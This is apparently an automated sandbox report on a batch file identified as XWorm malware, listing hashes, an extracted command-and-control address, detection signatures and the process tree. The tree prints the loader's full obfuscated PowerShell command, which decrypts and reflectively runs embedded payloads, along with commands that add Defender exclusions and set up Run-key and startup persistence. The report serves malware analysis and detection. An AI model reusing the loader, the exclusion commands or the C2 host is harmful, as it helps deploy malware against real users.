Analysis
-
max time kernel
97s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
10-07-2024 21:07
Static task
static1
Behavioral task
behavioral1
Sample
stub.bat
Resource
win10v2004-20240709-en
General
-
Target
stub.bat
-
Size
296KB
-
MD5
907e9fc6911129b0a47c7d86d7f7f9d8
-
SHA1
685dfd20c4e49dbb6f6aad11b58c97ab0162e8bc
-
SHA256
c149c689139cacc133cf0718188cbedc9fe0be449297a71f1c5a18255bdfac2a
-
SHA512
07a1239ded8379d48dee4cfef74e9496c090ecc4b8efae0bb26fafbebc58736be0e69f7b9ded184da058e282f0f8a0c69060c60ae8ab870cc1d68aee328713ee
-
SSDEEP
6144:PlnR5B5sUMI+nNsj1dh6X+eRMiTF+VFESpcob6SgTMzpbm6j9o88Upt/R8N0ns7:9R5zsUMDsjx4dF6cSQ4BOUD/RE7
Malware Config
Extracted
xworm
127.0.0.1:48802
those-situation.gl.at.ply.gg:48802
-
Install_directory
%AppData%
-
install_file
x4host.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2608-15-0x00000240B8D50000-0x00000240B8D68000-memory.dmp family_xworm -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 15 2608 powershell.exe 22 2608 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2608 powershell.exe 2796 powershell.exe 2884 powershell.exe 1868 powershell.exe 2944 powershell.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4host.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4host.lnk powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\x4host = "C:\\Users\\Admin\\AppData\\Roaming\\x4host.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 14 ip-api.com -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2608 powershell.exe 2608 powershell.exe 2796 powershell.exe 2796 powershell.exe 2884 powershell.exe 2884 powershell.exe 1868 powershell.exe 1868 powershell.exe 2944 powershell.exe 2944 powershell.exe 2608 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2608 powershell.exe Token: SeDebugPrivilege 2796 powershell.exe Token: SeDebugPrivilege 2884 powershell.exe Token: SeDebugPrivilege 1868 powershell.exe Token: SeDebugPrivilege 2944 powershell.exe Token: SeDebugPrivilege 2608 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 2608 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 4012 wrote to memory of 2608 4012 cmd.exe powershell.exe PID 4012 wrote to memory of 2608 4012 cmd.exe powershell.exe PID 2608 wrote to memory of 2796 2608 powershell.exe powershell.exe PID 2608 wrote to memory of 2796 2608 powershell.exe powershell.exe PID 2608 wrote to memory of 2884 2608 powershell.exe powershell.exe PID 2608 wrote to memory of 2884 2608 powershell.exe powershell.exe PID 2608 wrote to memory of 1868 2608 powershell.exe powershell.exe PID 2608 wrote to memory of 1868 2608 powershell.exe powershell.exe PID 2608 wrote to memory of 2944 2608 powershell.exe powershell.exe PID 2608 wrote to memory of 2944 2608 powershell.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\stub.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UH/fwSN0PyJWF9gmCa0rqlchsQbW6Xom1tbi76SAsl8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+aIshcp+X8HCUI4eH6i5ug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oywQV=New-Object System.IO.MemoryStream(,$param_var); $jMsno=New-Object System.IO.MemoryStream; $pQPHW=New-Object System.IO.Compression.GZipStream($oywQV, [IO.Compression.CompressionMode]::Decompress); $pQPHW.CopyTo($jMsno); $pQPHW.Dispose(); $oywQV.Dispose(); $jMsno.Dispose(); $jMsno.ToArray();}function execute_function($param_var,$param2_var){ $JJuGC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lCOec=$JJuGC.EntryPoint; $lCOec.Invoke($null, $param2_var);}$uoxMw = 'C:\Users\Admin\AppData\Local\Temp\stub.bat';$host.UI.RawUI.WindowTitle = $uoxMw;$pLlrs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uoxMw).Split([Environment]::NewLine);foreach ($IZJzW in $pLlrs) { if ($IZJzW.StartsWith(':: ')) { $tvpGf=$IZJzW.Substring(3); break; }}$payloads_var=[string[]]$tvpGf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x4host.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1868 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'x4host.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2944
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
-
Filesize
944B
MD551cf8df21f531e31f7740b4ec487a48a
SHA140c6a73b22d71625a62df109aefc92a5f9b9d13e
SHA256263d9b98a897d1d66da4832af640c4bf5ab0ae91125ba12243453dfe714f3d0d
SHA51257a85461f6ea96b26a8b53d3a9cca18543e4ddbe996e8f412fc4cf7cf6e9ffe558c96da7b322a42f18bef62020e65aee119bed6102f75e2f605df09b02ec6368
-
Filesize
944B
MD515dde0683cd1ca19785d7262f554ba93
SHA1d039c577e438546d10ac64837b05da480d06bf69
SHA256d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
SHA51257c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82